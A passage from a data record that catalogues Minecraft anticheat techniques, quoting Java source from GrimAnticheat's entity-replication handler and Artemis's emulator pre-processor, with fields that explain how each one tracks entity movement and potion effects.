ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The REMOVE_ENTITY_EFFECT branch is lines 223-233; the ENTITY_EFFECT apply branch sits just above at lines 193-222.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "Artemis EmulatorPreProcessor and PotionPreProcessor remove the effect from the emulated entity and user list with the same transaction confirmation; BetterAnticheat stages an EMPTY_POTION in the many-state."
      },
      {
       "name": "Effect removal on emulated entity (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Remove the potion from the emulated entity so the prediction engine stops applying the effect's movement modifiers.",
       "how_it_works": "EmulatorPreProcessor matches GPacketPlayServerEntityEffectRemove for the local player, then confirmFunctionAndTick queues data.entity.removePotionEffect(effectId) to run at the transaction-confirmed tick.",
       "detects": "Nothing directly; it keeps the emulated entity's potion state identical to the client's so predictions of speed and jump stay valid.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/emulator/EmulatorPreProcessor.java =====\npackage ac.artemis.core.v4.processor.emulator;\n\nimport ac.artemis.packet.minecraft.Unsafe;\nimport ac.artemis.packet.minecraft.entity.Entity;\nimport ac.artemis.packet.minecraft.material.Material;\nimport ac.artemis.core.v4.check.ArtemisCheck;\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.check.VelocityHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.emulator.damage.DamageSource;\nimport ac.artemis.core.v4.emulator.entity.utils.ItemUtil;\nimport ac.artemis.core.v4.emulator.potion.PotionEffect;\nimport ac.artemis.core.v4.nms.NMSManager;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.utils.chat.Chat;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport ac.artemis.core.v4.utils.position.Velocity;\nimport ac.artemis.core.v5.emulator.EmulatorManager;\nimport ac.artemis.core.v5.emulator.block.Block;\nimport ac.artemis.core.v5.emulator.block.BlockFactory;\nimport ac.artemis.core.v5.emulator.block.impl.BlockAir;\nimport ac.artemis.packet.minecraft.inventory.ItemStack;\nimport ac.artemis.core.v5.utils.block.BlockUtil;\nimport ac.artemis.core.v5.utils.bounding.BoundingBox;\nimport ac.artemis.core.v5.utils.bounding.EnumFacing;\nimport ac.artemis.core.v5.utils.raytrace.NaivePoint;\nimport ac.artemis.core.v5.utils.raytrace.Point;\nimport ac.artemis.packet.PacketManager;\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.utils.ServerUtil;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.packet.wrapper.client.PacketPlayClientFlying;\nimport ac.artemis.packet.wrapper.client.PacketPlayClientLook;\nimport ac.artemis.packet.wrapper.client.PacketPlayClientPosition;\nimport cc.ghast.packet.PacketAPI;\nimport cc.ghast.packet.nms.EnumDirection;\nimport cc.ghast.packet.nms.MathHelper;\nimport cc.ghast.packet.wrapper.bukkit.BlockPosition;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport cc.ghast.packet.wrapper.packet.play.client.*;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.List;\nimport java.util.concurrent.CompletableFuture;\n\n/**\n * The Emulator pre-processor is the handler for the Emulator which is\n * ran before the main Emulator is ticked. This provides all the necessary\n * data, including duplicate one from other handlers, in order to entirely\n * isolate the process. This is designed to allow for a complete shift to\n * solely the emulator handler and data in the future.\n *\n * @author Ghast\n */\npublic class EmulatorPreProcessor extends AbstractHandler implements FastProcessHandler {\n    /**\n     * Instantiates a new Emulator pre-processor.\n     *\n     * @param data the data\n     */\n    public EmulatorPreProcessor(PlayerData data) {\n        super(\"Emulator [0x01]\", data);\n    }\n\n    private final double multiplier = data.getVersion().isOrAbove(ProtocolVersion.V1_9) ? 4096.0D : 32.D;\n\n    /**\n     * Handles the threaded packet input and output\n     * @param packet Packet from the packet api\n     */\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof PacketPlayClientFlying) {\n            final PacketPlayClientFlying fly = (PacketPlayClientFlying) packet;\n            final long now = System.nanoTime();\n\n            /*\n             *      __  __                ____\n             *    / / / /___ _____  ____/ / /__  _____\n             *   / /_/ / __ `/ __ \\/ __  / / _ \\/ ___/\n             *  / __  / /_/ / / / / /_/ / /  __/ /\n             * /_/ /_/\\__,_/_/ /_/\\__,_/_/\\___/_/\n             *\n             */\n\n            /*\n             * Sets all the data to the previous ticked to maintain a consistent\n             * location history. Despite if the packet does not contain a position\n             * aspect, the previous position is still needed to be updated (this\n             * ensures deltaX, Y and Z are 0.0)\n             */\n            data.prediction.setLastX(data.prediction.getX());\n            data.prediction.setLastY(data.prediction.getY());\n            data.prediction.setLastZ(data.prediction.getZ());\n\n            /*\n             * If the packet is a position packet, update the X coordinate with\n             * the ones from the packet.\n             */\n            if (fly instanceof PacketPlayClientPosition) {\n                final PacketPlayClientPosition wrapper = (PacketPlayClientPosition) packet;\n                data.prediction.setX(wrapper.getX());\n                data.prediction.setY(wrapper.getY());\n                data.prediction.setZ(wrapper.getZ());\n            }\n\n            /*\n             * Update the last Yaw and Pitch coordinate of the player. Just like\n             * with the position, this needs to be updated regardless if the\n             * packet contains a rotation or not.\n             */\n            data.prediction.setLastYaw(data.prediction.getYaw());\n            data.prediction.setLastPitch(data.prediction.getPitch());\n\n            /*\n             * If the packet is a look packet (PacketPlayInLook or PacketPlayInPositionLook),\n             * update the aim coordinates with their respective NON MODULO-ed values.\n             */\n            if (fly instanceof PacketPlayClientLook) {\n                final PacketPlayClientLook wrapper = (PacketPlayClientLook) packet;\n                data.prediction.setYaw(wrapper.getYaw());\n                data.prediction.setPitch(wrapper.getPitch());\n            }\n\n            /*\n             * Here, we update both respectively the last delta X, Y and Z with the previous\n             * values and the new ones. The formula for delta calculation is as follows:\n             *\n             * d(x) = x(n) - x(n+1)\n             *\n             * d(x): delta of x\n             * x(n): x coordinate at n instant\n             */\n            data.prediction.setLastDeltaX(data.prediction.getDeltaX());\n            data.prediction.setLastDeltaY(data.prediction.getDeltaY());\n            data.prediction.setLastDeltaZ(data.prediction.getDeltaZ());\n\n            data.prediction.setDeltaX(data.prediction.getX() - data.prediction.getLastX());\n            data.prediction.setDeltaY(data.prediction.getY() - data.prediction.getLastY());\n            data.prediction.setDeltaZ(data.prediction.getZ() - data.prediction.getLastZ());\n\n            /*\n             * Update the client-side ground status of the player. This is NOT A VALUE\n             * THAT SHOULD BE TRUSTED UNDER ANY CIRCUMSTANCE. This, as any client input,\n             * can be manipulated (and often is!). This should solely be used to optimize\n             * / create misc detections.\n             */\n            data.prediction.setLastGround(data.prediction.isGround());\n            data.prediction.setGround(fly.isOnGround());\n\n            /*\n             * In this context, we seek to save whether the previous 2 packets and the\n             * current flying packet held a position status. This is in particular used\n             * to optimize 0.03 2nd degree predictions.\n             */\n            data.prediction.setLastLastPos(data.prediction.isLastPos());\n            data.prediction.setLastPos(data.prediction.isPos());\n            data.prediction.setPos(fly instanceof PacketPlayClientPosition);\n\n            /*\n             *      ______      __  _ __\n             *     / ____/___  / /_(_) /___  __\n             *    / __/ / __ \\/ __/ / __/ / / /\n             *   / /___/ / / / /_/ / /_/ /_/ /\n             *  /_____/_/ /_/\\__/_/\\__/\\__, /\n             *                        /____/\n             *\n             */\n\n            data.entity.setChunkLoaded(data.entity.getWorld().isLoaded(\n                    MathHelper.floor(data.prediction.getX()) >> 4,\n                    MathHelper.floor(data.prediction.getZ()) >> 4\n                    )\n            );\n\n            /*\n             * Update the entity status ground position. Just like the previous,\n             * this is used to properly handle 0.03\n             */\n            data.entity.setWasPos(fly.isPos());\n\n            /*\n             * If the last movement was null, the player has most likely only just\n             * joined the server. In which case, we have to re-initialize the motion\n             * by sending an entity velocity packet to ensure the motion is re-synced\n             * with the server.\n             */\n            if (data.getMovement().getLastMovement() == null) {\n                final GPacket velocityPacket = new GPacketPlayServerEntityVelocity(\n                        data.getPlayer().getEntityId(),\n                        0,\n                        0,\n                        0\n                );\n\n                PacketManager.getApi().sendPacket(\n                        data.getPlayer().getUniqueId(),\n                        velocityPacket\n                );\n            }\n\n            /*\n             *\n             */\n            else {\n                if (fly instanceof PacketPlayClientLook) {\n                    data.entity.setRotation(\n                            data.prediction.getYaw(),\n                            data.prediction.getPitch()\n                    );\n                }\n\n                if (fly instanceof PacketPlayClientPosition) {\n                    data.entity.setServerPosition(\n                            data.prediction.getX(),\n                            data.prediction.getY(),\n                            data.prediction.getZ()\n                    );\n                }\n\n                data.entity.setGround(data.prediction.isLastGround() || data.entity.isOnGround());\n\n                int ticks = 1;\n\n                save: {\n                    final boolean isFucked = data.getVersion().isOrAbove(ProtocolVersion.V1_9);\n                    final boolean flag = isFucked && !data.prediction.isGround() && !data.prediction.isLastGround();\n\n                    if (!flag)\n                        break save;\n\n                    final boolean descend = data.prediction.getLastY() > data.prediction.getY();\n\n                    if (!descend)\n                        break save;\n\n                    double deltaY = data.prediction.getY() - data.prediction.getLastY();\n                    double motionY = data.entity.getMotionY();\n\n\n                    while (Math.abs(motionY - deltaY) > 1E-4 && Math.abs(motionY) < 0.03D) {\n                        ticks++;\n\n                        motionY -= 0.08D;\n                        motionY *= 0.98D;\n                    }\n                }\n\n                for (int i = 0; i < ticks; i++) {\n                    data.entity.onUpdate();\n                }\n            }\n\n            final long execution = System.nanoTime() - now;\n            final double ms = (double) execution / 1000000.D;\n            //System.out.println(\"[Artemis] Predictions took \" + execution + \" ns to process. This is around \" + ms + \"ms\");\n\n            data.prediction.setPredictionTime(ms);\n            if (isReady()) {\n                //System.out.println(\":(\");\n                //handlePrediction(fly, new PlayerMovement(data.getPlayer(), data.data.entity.posX, data.data.entity.posY, data.data.entity.posZ, packet.getTimestamp()));\n            }\n\n            data.prediction.setLastFlying(packet.getTimestamp());\n            data.prediction.getQueuedAttacks().clear();\n        }\n\n        /*else if (packet instanceof GPacketPlayClientEntityAction) {\n            final GPacketPlayClientEntityAction act = (GPacketPlayClientEntityAction) packet;\n\n            if (act.getEntityId() == data.getPlayer().getEntityId()) {\n                switch (act.getAction()) {\n                    case START_SPRINTING:\n                        data.entity.setSprinting(true);\n                        break;\n                    case STOP_SPRINTING:\n                        data.entity.setSprinting(false);\n                        break;\n                    case START_SNEAKING:\n                        //data.entity.playerControls.setSneak(true);\n                        data.entity.setSneaking(true); \n                        break;\n                    case STOP_SNEAKING:\n                        //data.entity.playerControls.setSneak(false);\n                        data.entity.setSneaking(false);\n                        break;\n                }\n\n            }\n        }*/\n\n        else if (packet instanceof GPacketPlayClientUseEntity) {\n            final GPacketPlayClientUseEntity use = (GPacketPlayClientUseEntity) packet;\n\n            switch (use.getType()) {\n                case ATTACK: {\n                    final Entity entity = NMSManager.getInms().getEntity(data.getPlayer().getWorld(), use.getEntityId());\n                    data.entity.attackTargetEntityWithCurrentItem(entity);\n                    data.prediction.getQueuedAttacks().add(entity);\n                    break;\n                }\n                case INTERACT:\n                case INTERACT_AT: {\n                    //data.entity.setItemInUse(data.getPlayer().getItemInHand(), ItemUtil.getItemUseByItem(data.entity, data.getPlayer().getItemInHand()));\n                }\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientAbilities) {\n            final GPacketPlayClientAbilities ab = (GPacketPlayClientAbilities) packet;\n\n            if (ab.getWalkSpeed().isPresent())\n                data.entity.getCapabilities().setWalkSpeed(ab.getWalkSpeed().get());\n            if (ab.getFlySpeed().isPresent())\n                data.entity.getCapabilities().setFlySpeed(ab.getFlySpeed().get());\n            if (ab.getCreativeMode().isPresent())\n                data.entity.getCapabilities().setCreativeMode(ab.getCreativeMode().get());\n            if (ab.getInvulnerable().isPresent())\n                data.entity.getCapabilities().setDisableDamage(ab.getInvulnerable().get());\n            if (ab.getAllowedFlight().isPresent())\n                data.entity.getCapabilities().setAllowFlying(ab.getAllowedFlight().get());\n            if (ab.isFlying())\n                data.entity.getCapabilities().setFlying(ab.isFlying());\n        }\n\n        else if (packet instanceof GPacketPlayClientBlockPlace) {\n            final GPacketPlayClientBlockPlace plc = (GPacketPlayClientBlockPlace) packet;\n\n            if (plc.getDirectionId() == 255) {\n                final boolean main = plc.getHand().equals(PlayerEnums.Hand.MAIN_HAND);\n                final ItemStack stack;\n\n                try {\n                    if (ServerUtil.getGameVersion().isOrAbove(ProtocolVersion.V1_9)) {\n                        stack = main\n                                ? data.getPlayer().getInventory().getItem(data.prediction.getSlot())\n                                : data.getPlayer().getInventory().getItemInOffHand();\n                    } else {\n                        stack = data.getPlayer().getInventory().getItem(data.prediction.getSlot());\n                    }\n\n                    if (stack == null) {\n                        return;\n                    }\n\n                    //System.out.println(\"Started using item \" + stack.getType());\n                    data.entity.setItemInUse(stack, plc.getHand(), ItemUtil.getItemUseByItem(data.entity, stack));\n                } catch (ArrayIndexOutOfBoundsException e) {\n                    // Still no idea where this issue originates from\n                }\n            }\n\n            else if (plc.getDirection().isPresent() && plc.getItem().isPresent()\n                    && plc.getItem().get().getType().isBlock() && plc.getPosition() != null) {\n\n\n                final Material material = plc.getItem().get().getType();\n                final EnumDirection enumfacing = plc.getDirection().get();\n                final NaivePoint original = new NaivePoint(plc.getPosition().getX(), plc.getPosition().getY(), plc.getPosition().getZ());\n                final NaivePoint relative = original.offset(enumfacing);\n\n\n                final Block blockOriginal = BlockFactory.getBlock(\n                        material,\n                        EnumFacing.getFront(plc.getDirectionId()),\n                        plc.getItem().get().getData(),\n                        new NaivePoint(original.getX(), original.getY(), original.getZ()),\n                        new Point(plc.getVector())\n                );\n                final Block blockRelative = BlockFactory.getBlock(\n                        material,\n                        EnumFacing.getFront(plc.getDirectionId()),\n                        plc.getItem().get().getData(),\n                        new NaivePoint(relative.getX(), relative.getY(), relative.getZ()),\n                        new Point(plc.getVector())\n                );\n\n                boolean canReplaceOriginal;\n\n                original: {\n                    canReplaceOriginal = NMSManager.getInms().getReplaceAttributeBlock(data.entity.getWorld().getBukkitWorld(), original);\n\n                    if (!canReplaceOriginal)\n                        break original;\n\n                    final List<BoundingBox> boundingBoxes = blockOriginal.getBoundingBox(data.entity.getWorld());\n                    for (BoundingBox boundingBox : boundingBoxes) {\n                        for (BoundingBox box : NMSManager.getInms().getCollidingEntities(null, data.getPlayer().getWorld(), boundingBox)) {\n                            canReplaceOriginal = false;\n                            break original;\n                        }\n                    }\n                }\n\n\n                boolean canReplaceRelative;\n\n                relative: {\n                    canReplaceRelative = NMSManager.getInms().getReplaceAttributeBlock(\n                            data.entity.getWorld().getBukkitWorld(),\n                            relative\n                    );\n\n                    if (!canReplaceRelative)\n                        break relative;\n\n                    final List<BoundingBox> boundingBoxes = blockRelative.getBoundingBox(data.entity.getWorld());\n                    for (BoundingBox boundingBox : boundingBoxes) {\n                        for (BoundingBox box : NMSManager.getInms().getCollidingEntities(null, data.getPlayer().getWorld(), boundingBox)) {\n                            canReplaceRelative = false;\n                            break relative;\n                        }\n                    }\n                }\n\n\n                if (canReplaceOriginal) {\n                    data.entity.getWorld().updateMaterialAt(\n                            blockOriginal,\n                            original.getX(),\n                            original.getY(),\n                            original.getZ()\n                    );\n                } else if (canReplaceRelative) {\n                    data.entity.getWorld().updateMaterialAt(\n                            blockRelative,\n                            relative.getX(),\n                            relative.getY(),\n                            relative.getZ()\n                    );\n                }\n\n                final boolean main = plc.getHand().equals(PlayerEnums.Hand.MAIN_HAND);\n                final ItemStack stack;\n\n                if (ServerUtil.getGameVersion().isOrAbove(ProtocolVersion.V1_9)) {\n                    stack = main\n                            ? data.getPlayer().getInventory().getItemInMainHand()\n                            : data.getPlayer().getInventory().getItemInOffHand();\n                } else {\n                    stack = data.getPlayer().getInventory().getItemInHand();\n                }\n\n                /*final GhostBlock ghostBlock = new GhostBlock(stack,\n                        new Location(\n                                plc.getPlayer().getWorld(),\n                                plc.getPosition().getX() + plc.getDirection().get().getAdjacentX(),\n                                plc.getPosition().getY() + plc.getDirection().get().getAdjacentY(),\n                                plc.getPosition().getZ() + plc.getDirection().get().getAdjacentZ()\n                        )\n                );\n\n                data.entity.getGhostBlocks().add(ghostBlock);\n                //data.world.addBlock(stack, new NaivePoint(plc.getPosition().getX(), plc.getPosition().getY(), plc.getPosition().getZ()));*/\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientHeldItemSlot) {\n            final GPacketPlayClientHeldItemSlot slt = (GPacketPlayClientHeldItemSlot) packet;\n\n            data.prediction.setSlot(slt.getSlot() > 9 || slt.getSlot() <= 0\n                            ? data.prediction.getSlot()\n                            : slt.getSlot()\n            );\n\n            if (data.entity.isUsingItem()) {\n                final boolean main = PlayerEnums.Hand.MAIN_HAND.equals(data.entity.getItemInHand());\n                if (main) {\n                    data.entity.clearItemInUse();\n                }\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientItemUse) {\n            final GPacketPlayClientItemUse use = (GPacketPlayClientItemUse) packet;\n\n            final boolean main = use.getHand().equals(PlayerEnums.Hand.MAIN_HAND);\n            final ItemStack stack;\n\n            if (ServerUtil.getGameVersion().isOrAbove(ProtocolVersion.V1_9)) {\n                stack = main\n                        ? data.getPlayer().getInventory().getItemInMainHand()\n                        : data.getPlayer().getInventory().getItemInOffHand();\n            } else {\n                stack = data.getPlayer().getInventory().getItem(data.prediction.getSlot());\n            }\n\n            data.entity.setItemInUse(stack, use.getHand(), ItemUtil.getItemUseByItem(data.entity, stack));\n        }\n\n\n        else if (packet instanceof GPacketPlayClientBlockDig) {\n            final GPacketPlayClientBlockDig dig = (GPacketPlayClientBlockDig) packet;\n\n            switch (dig.getType()) {\n                case RELEASE_USE_ITEM:\n                case SWAP_HELD_ITEMS:\n                case DROP_ITEM:\n                case DROP_ALL_ITEMS:\n                    data.entity.stopUsingItem();\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientClientCommand) {\n            final GPacketPlayClientClientCommand command = (GPacketPlayClientClientCommand) packet;\n            switch (command.getCommand()) {\n                case PERFORM_RESPAWN:\n                    try {\n                        data.entity = EmulatorManager.getProvider()\n                                .getFactory()\n                                .setData(data)\n                                .build();\n                    } catch (NullPointerException e) {\n                        Chat.sendConsoleMessage(\"&4Fatal issue with Artemis! Error code &cOxA4-02\");\n                        e.printStackTrace();\n                        Chat.sendConsoleMessage(Chat.spacer());\n                    }\n\n                    data.getSetbackHandler().tick(data, false, false);\n                    data.movement.setRespawnTicks(5);\n                    PacketManager.getApi().sendPacket(\n                            data.getPlayer().getUniqueId(),\n                            new GPacketPlayServerEntityVelocity(data.getPlayer().getEntityId(), 0,0,0)\n                    );\n                    break;\n                case OPEN_INVENTORY_ACHIEVEMENT:\n                    data.user.setInventoryOpen(true);\n                    data.entity.clearItemInUse();\n                    break;\n            }\n        }\n\n\n        /*else if (packet instanceof GPacketPlayServerUpdateAttributes) {\n            final GPacketPlayServerUpdateAttributes atr = (GPacketPlayServerUpdateAttributes) packet;\n\n            if (atr.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        atr.getAttributes().forEach(e -> {\n                            IAttributeInstance instance = data.entity.getAttributeMap().getAttributeInstanceByName(e.getLocalName());\n                            if (instance == null) {\n                                instance = data.entity.getAttributeMap()\n                                        .registerAttribute(new RangedAttribute(null,\n                                                e.getLocalName(), 0.0D, 2.2250738585072014E-308D, Double.MAX_VALUE));\n                            }\n\n                            instance.setBaseValue(e.getBaseValue());\n                            instance.removeAllModifiers();\n\n                            for (GPacketPlayServerUpdateAttributes.Modifier atrm : e.getModifiers()) {\n                                instance.applyModifier(new AttributeModifier(atrm.getId(), atrm.getName(), atrm.getAmount(), atrm.getOperation()));\n                            }\n                        });\n                    }\n                });\n            }\n        }*/\n    }\n\n    /**\n     * Handles the packet directly from the Netty thread\n     * @param packet Packet API packet\n     */\n    @Override\n    public void fastHandle(GPacket packet) {\n        if (packet instanceof GPacketPlayServerAbilities) {\n            final GPacketPlayServerAbilities ab = (GPacketPlayServerAbilities) packet;\n\n            data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    ab.getWalkSpeed().ifPresent(e -> data.entity.getCapabilities().setWalkSpeed(e));\n                    ab.getFlySpeed().ifPresent(e -> data.entity.getCapabilities().setFlySpeed(e));\n                    ab.getCreativeMode().ifPresent(e -> data.entity.getCapabilities().setCreativeMode(e));\n                    ab.getInvulnerable().ifPresent(e -> data.entity.getCapabilities().setDisableDamage(e));\n                    ab.getAllowedFlight().ifPresent(e -> data.entity.getCapabilities().setAllowFlying(e));\n                    data.entity.getCapabilities().setFlying(ab.isFlying());\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityStatus) {\n            final GPacketPlayServerEntityStatus sts = (GPacketPlayServerEntityStatus) packet;\n\n            if (sts.getEntityId() == data.getPlayer().getEntityId()) {\n                switch (sts.getLogicOpcode()) {\n                    case 3: {\n                        data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                            @Override\n                            public void pre() {\n                                data.entity.setHealth(0.0F);\n                                data.entity.onDeath(DamageSource.generic);\n                            }\n                        });\n                        break;\n                    }\n                    case 9: {\n                        data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                            @Override\n                            public void pre() {\n                                data.entity.onItemUseFinish();\n                            }\n                        });\n                        break;\n                    }\n                    default:\n                        return;\n                }\n\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerRespawn) {\n            final GPacketPlayServerRespawn rsp = (GPacketPlayServerRespawn) packet;\n\n            data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    // Dimension change\n                    //data.entity = new BntityPlayerXYZ(data);\n\n                    //data.entity = new BntityPlayerXYZ(data);\n                    data.entity.resetWorld();\n                    data.entity.prepareToSpawn();\n                    data.movement.setRespawnTicks(150);\n                    data.user.setInventoryOpen(false);\n                    //System.out.println(\"Received teleport respawn\");\n                }\n            });\n            data.movement.setRespawnTicks(150);\n        }\n\n        else if (packet instanceof GPacketPlayServerWindowOpen) {\n            data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.entity.stopUsingItem();\n                    data.user.setInventoryOpen(true);\n                }\n            });\n        }\n        else if (packet instanceof GPacketPlayServerEntityVelocity) {\n\n            // Assign the packet\n            final GPacketPlayServerEntityVelocity vel = (GPacketPlayServerEntityVelocity) packet;\n\n            // Ensure the packet's entity id corresponds to the player's\n            if 